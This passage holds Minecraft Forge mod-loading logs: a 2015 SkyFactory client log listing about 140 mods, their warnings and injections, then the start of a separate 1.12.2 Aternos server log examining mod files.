of erroring Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Tile Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Found 0 mods from the command line. Injecting into mod discoverer [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Searching **USERSDIR**\Instances\SkyFactory\mods for mods [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Also searching **USERSDIR**\Instances\SkyFactory\mods\1.7.10 for mods [16/5/2015 18:45:48 PM] [Client thread/WARN] [DamageIndicatorsMod]: Mod DamageIndicatorsMod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 3.2.3 [16/5/2015 18:45:53 PM] [Client thread/WARN] [ChickenChunks]: Mod ChickenChunks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.3.4.19 [16/5/2015 18:45:54 PM] [Client thread/WARN] [DragonMounts]: Mod DragonMounts is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version r41-1.7.10 [16/5/2015 18:45:55 PM] [Client thread/WARN] [EnderStorage]: Mod EnderStorage is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.7.32 [16/5/2015 18:45:57 PM] [Client thread/WARN] [ExtraUtilities]: Mod ExtraUtilities is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.2.4a [16/5/2015 18:45:58 PM] [Client thread/WARN] [ForbiddenMagic]: Mod ForbiddenMagic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.7.10-0.562 [16/5/2015 18:46:01 PM] [Client thread/WARN] [neiintegration]: Mod neiintegration is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.0.8 [16/5/2015 18:46:04 PM] [Client thread/WARN] [simplyjetpacks]: Mod simplyjetpacks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1 [16/5/2015 18:46:08 PM] [Client thread/WARN] [Translocator]: Mod Translocator is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.1.14 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Core]: Mod WR-CBE|Core is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Addons]: Mod WR-CBE|Addons is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:12 PM] [Client thread/WARN] [WR-CBE|Logic]: Mod WR-CBE|Logic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:13 PM] [Client thread/WARN] [ForgeMicroblock]: Mod ForgeMicroblock is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [ForgeMultipart]: Mod ForgeMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [McMultipart]: Mod McMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Forge Mod Loader has identified 140 mods to load [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [exastris] containing declared API package cofh.api.energy (owned by CoFHAPI) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [ExtraUtilities] containing declared API package baubles.api (owned by Baubles) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [FoodPlus] containing declared API package thaumcraft.api (owned by Thaumcraft) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [EnderIO] containing declared API package com.cricketcraft.chisel.api (owned by Chisel) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [simplyjetpacks] containing declared API package cofh.api (owned by CoFHLib) without associated API reference [16/5/2015 18:46:18 PM] [Client thread/INFO] [FML]: FML has found a non-mod file CodeChickenLib-1.7.10-1.1.3.134-universal.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at CLIENT [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at SERVER [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.network.FMLOutboundHandler with checksum CB55471D614BD5AF06AEA87A77A3014F [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Successful injection in write (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/channel/ChannelPromise;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.eventhandler.ASMEventHandler with checksum 1C68592318817E7EE853EC874A5ACBF4 [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in <init> (Ljava/lang/Object;Ljava/lang/reflect/Method;Lcpw/mods/fml/common/ModContainer;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [STDOUT]: [mods.immibis.core.ImmibisCore:initPreferredEnergySystem:198]: [Immibis Core] Preferred energy system set to: redstoneFlux [16/5/2015 18:46:33 PM] [Client thread/INFO] [Draconic Evolution]: Hello Minecraft!!! [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:36 PM] [Client thread/INFO] [TConstruct]: Natura, what are we going to do tomorrow night? [16/5/2015 18:46:36 PM] [Client thread/INFO] [Natura]: TConstruct, we're going to take over the world! [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Starting on net.minecraft.client.model.ModelBiped [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Method is func_78087_a or a for obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Descriptor is (FFFFFFLnet/minecraft/entity/Entity;)V or (FFFFFFLsa;)V dor obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Found method: a (FFFFFFLsa;)V [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] RETURN Opcode found [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Patched! [16/5/2015 18:46:41 PM] GregsLighting: creativeTab = gcewing.lighting.GregsLighting$1@1804f6e [16/5/2015 18:46:44 PM] [Client thread/INFO] [OpenMods]: openperipheral.ApiProvider.installApi(ApiProvider.java:203): OPC API v. 3.2 provideded by OpenPeripheralCore, (ApiAccess source: jar:file:/C:/Users/cr7/Desktop/New%20folder/Instances/SkyFactory/mods/OpenPeripheralCore-1.7.10-1.1.jar!/openperipheral/api/ApiAccess.class) [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming Class [net.minecraft.world.WorldType], Method [func_76564_j] [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming net.minecraft.world.WorldType Finished. [16/5/2015 18:46:50 PM] [Client thread/ERROR] [MooFluids]: The mod MooFluids is expecting signature @FINGERPRINT@ for source MooFluids-1.7.10-1.5.01.19a.jar, however there is no signature matching that description [16/5/2015 18:46:50 PM] [Client thread/ERROR] [Moo Fluids]: No fingerprint found! [16/5/2015 18:46:50 PM] [Client thread/INFO]: Reloading ResourceManager: Default, FMLFileResourcePack:Forge Mod Loader, FMLFileResourcePack:Minecraft Forge, FMLFileResourcePack:Not Enough Items, FMLFileResourcePack:Lucky Block, FMLFileResourcePack:Furnace 3D, FMLFileResourcePack:ArmorStatusHUD, FMLFileResourcePack:Damage Indicators, FMLFileResourcePack:StartingInventory, FMLFileResourcePack:Applied Energistics 2, FMLFileResourcePack:AutoFood, FMLFileResourcePack:Automagy, FMLFileResourcePack:AutoPackager, FMLFileResourcePack:BiblioCraft, FMLFileResourcePack:BiblioWoods Natura Edition, FMLFileResourcePack:Big Reactors, FMLFileResourcePack:Botania, FMLFileResourcePack:Carpenter's Blocks, FMLFileResourcePack:ChickenChunks, FMLFileResourcePack:Chisel 2, FMLFileResourcePack:CoFH Core, FMLFileResourcePack:ComputerCraft, FMLFileResourcePack:Cosmetic Armor, FMLFileResourcePack:Decocraft, FMLFileResourcePack:Draconic Evolution, FMLFileResourcePack:Dragon Mounts, FMLFileResourcePack:Dual Hotbar, FMLFileResourcePack:Emotes, FMLFileResourcePack:Ender IO, FMLFileResourcePack:EnderStorage, FMLFileResourcePack:EnderTech, FMLFileResourcePack:Ender Utilities, FMLFileResourcePack:Ex Astris, FMLFileResourcePack:Ex Nihilo, FMLFileResourcePack:ExtraCells, FMLFileResourcePack:ExtraTiC, FMLFileResourcePack:Extra Utilities, FMLFileResourcePack:Food Plus, FMLFileResourcePack:Forbidden Magic, FMLFileResourcePack:FoxLib, FMLFileResourcePack:Greg's Lighting, FMLFileResourcePack:Hats, FMLFileResourcePack:HatStand, FMLFileResourcePack:Headcrumbs, FMLFileResourcePack:iChunUtil, FMLFileResourcePack:Iguana Tinker Tweaks, FMLFileResourcePack:Immibis Core, FMLFileResourcePack:Inventory Tweaks, FMLFileResourcePack:Iron Chest, FMLFileResourcePack:It's Raining Food, FMLFileResourcePack:JABBA, FMLFileResourcePack:Liquid XP, FMLFileResourcePack:Loot Bags, FMLFileResourcePack:LunatriusCore, FMLFileResourcePack:Magical Crops, FMLFileResourcePack:Mantle, FMLFileResourcePack:MinefactoryReloaded & MagicalCrops extra compatibility, FMLFileResourcePack:MineFactory Reloaded, FMLFileResourcePack:MFR Compat: Applied Energistics, FMLFileResourcePack:MFR Compat: Atum, FMLFileResourcePack:MFR Compat: BackTools, FMLFileResourcePack:MFR Compat: BuildCraft, FMLFileResourcePack:MFR Compat: Chococraft, FMLFileResourcePack:MFR Compat: ExtraBiomes, FMLFileResourcePack:MFR Compat: Forestry, FMLFileResourcePack:MFR Compat: ForgeMicroblock, FMLFileResourcePack:MFR Compat: IC2, FMLFileResourcePack:MFR Compat: Mystcraft, FMLFileResourcePack:MFR Compat ProjectRed, FMLFileResourcePack:MFR Compat: Railcraft, FMLFileResourcePack:MFR Compat: Sufficient Biomes, FMLFileResourcePack:MFR Compat: Thaumcraft, FMLFileResourcePack:MFR Compat: Thermal Expansion, FMLFileResourcePack:MFR Compat: Tinkers' Construct, FMLFileResourcePack:MFR Compat: TwilightForest, FMLFileResourcePack:MFR Compat: Vanilla, FMLFileResourcePack:Moo Fluids, FMLFileResourcePack:MorePlayerModels, FMLFileResourcePack:Morpheus, FMLFileResourcePack:Natura, FMLFileResourcePack:NEI Addons, FMLFileResourcePack:NEI Addons: Botany, FMLFileResourcePack:NEI Addons: Forestry, FMLFileResourcePack:NEI Addons: Crafting Tables, FMLFileResourcePack:NEI Addons: Ex Nihilo, FMLFileResourcePack:NEI Integration, FMLFileResourcePack:OpenBlocks, FMLFileResourcePack:OpenMods, FMLFileResourcePack:OpenPeripheralAddons, FMLFileResourcePack:OpenPeripheralCore, FMLFileResourcePack:OpenPeripheralIntegration, FMLFileResourcePack:Plugin Messages Mod, FMLFileResourcePack:Ranchable Fluid Cows, FMLFileResourcePack:RedLogic, FMLFileResourcePack:Redstone Arsenal, FMLFileResourcePack:Reliquary, FMLFileResourcePack:RFTools, FMLFileResourcePack:Simple Achievements, FMLFileResourcePack:Simply Jetpacks, FMLFileResourcePack:Slabcraft, FMLFileResourcePack:Solar Flux, FMLFileResourcePack:Staircraft, FMLFileResourcePack:Sync, FMLFileResourcePack:Tabula Rasa, FMLFileResourcePack:Tails, FMLFileResourcePack:Tinkers' Construct, FMLFileResourcePack:Thaumcraft, FMLFileResourcePack:Thaumcraft NEI Plugin, FMLFileResourcePack:Thaumic Energistics, FMLFileResourcePack:Thermal Casting, FMLFileResourcePack:Thermal Dynamics, FMLFileResourcePack:Thermal Expansion, FMLFileResourcePack:Thermal Foundation, FMLFileResourcePack:Translocator, FMLFileResourcePack:Tree Growing Simulator 2014, FMLFileResourcePack:ttCore, FMLFileResourcePack:Utility Mobs, FMLFileResourcePack:Vein Miner, FMLFileResourcePack:Mod Support, FMLFileResourcePack:Waila, FMLFileResourcePack:Waila Harvestability, FMLFileResourcePack:Waila NBT, FMLFileResourcePack:What Are We Looking At, FMLFileResourcePack:Witchery, FMLFileResourcePack:WR-CBE Core, FMLFileResourcePack:WR-CBE Addons, FMLFileResourcePack:WR-CBE Logic, FMLFileResourcePack:YUNoMakeGoodMap, FMLFileResourcePack:bspkrsCore, FMLFileResourcePack:Baubles, FMLFileResourcePack:Forge Microblocks, FMLFileResourcePack:Forge Multipart, FMLFileResourcePack:Minecraft Multipart Plugin, FMLFileResourcePack:libsandstone [16/5/2015 18:46:51 PM] [Client thread/INFO] [FML]: Processing ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Found 434 ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Configured a dormant chunk cache size of 0 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.entity.RenderManager [ bnn ] with checksum 23331C7A7033A1CF1F1AAE38FD89A9B5 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher [ bmk ] with checksum 1B9F2A44C89A8C0C359AD4D34A73DA8D [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:47:00 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( started ) [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145839_a(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145841_b(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/tile/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/IC2 [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface Reika.RotaryCraft.API.Power.ShaftPowerReceiver from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Method Tick_RotaryCraft from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/RotaryCraft [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/tile/powersink/RedstoneFlux because RF integration is enabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface mekanism.api.energy.IStrictEnergyAcceptor from appeng/tile/powersink/MekJoules because Mekanism integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/MekJoules [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface powercrystals.minefactoryreloaded.api.rednet.connectivity.IRedNetConnection from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Method getConnectionType from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/quartz/ToolQuartzWrench because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/quartz/ToolQuartzWrench [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.ISpecialElectricItem from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.IElectricItemManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Method getManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/powered/powersink/IC2 [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyContainerItem from appeng/items/tools/powered/powersink/RedstoneFlux because RFItem integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/ToolNetworkTool because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/ToolNetworkTool [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/misc/PartStorageBus [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PItems [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySource from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PIC2Power [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/parts/p2p/PartP2PRFPower because RF integration is enabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Starting AE2 VersionChecker [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( ended after 4556ms ) [16/5/2015 18:50:48 PM] OpenEye: Sending pending crash report located at '**USERSDIR**\Instances\SkyFactory\reports\pending-crash-2015-05-14_21.47.10-0.json' [16/5/2015 18:50:48 PM] Checking for updated files! [16/5/2015 18:50:49 PM] OpenEye: Pending crash report sent! URL: http://openeye.openmods.info/commoncrash/oom [16/5/2015 18:50:55 PM] No updates found! [16/5/2015 19:05:04 PM] Copied Log to clipboard [16/5/2015 19:05:07 PM] Log uploaded and link copied to clipboard:
SilverYukiMoon
[14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Using primary tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/DEBUG] [FML]: Injecting tracing printstreams for STDOUT/STDERR. [14:27:46] [main/INFO] [FML]: Forge Mod Loader version 14.23.5.2847 for Minecraft 1.12.2 loading [14:27:46] [main/INFO] [FML]: Java is OpenJDK 64-Bit Server VM, version 1.8.0_232, running on Linux:amd64:4.4.0-154-generic, installed at /usr/local/openjdk-8/jre [14:27:46] [main/DEBUG] [FML]: Java classpath at launch is: [14:27:46] [main/DEBUG] [FML]: forge.jar [14:27:46] [main/DEBUG] [FML]: Java library path at launch is: [14:27:46] [main/DEBUG] [FML]: /usr/java/packages/lib/amd64 [14:27:46] [main/DEBUG] [FML]: /usr/lib64 [14:27:46] [main/DEBUG] [FML]: /lib64 [14:27:46] [main/DEBUG] [FML]: /lib [14:27:46] [main/DEBUG] [FML]: /usr/lib [14:27:46] [main/DEBUG] [FML]: Determined Minecraft Libraries Root: /aternos/server/libraries [14:27:46] [main/DEBUG] [FML]: Cleaning up mods folder: ./mods [14:27:46] [main/DEBUG] [FML]: Examining file: animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: wings-1.1.6-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining file: BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/DEBUG] [FML]: Examining file: bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining file: iceandfire-1.8.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining file: Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0:api in memory to /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0 in memory to /aternos/server/./mods/claimit-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining file: horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining file: JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: 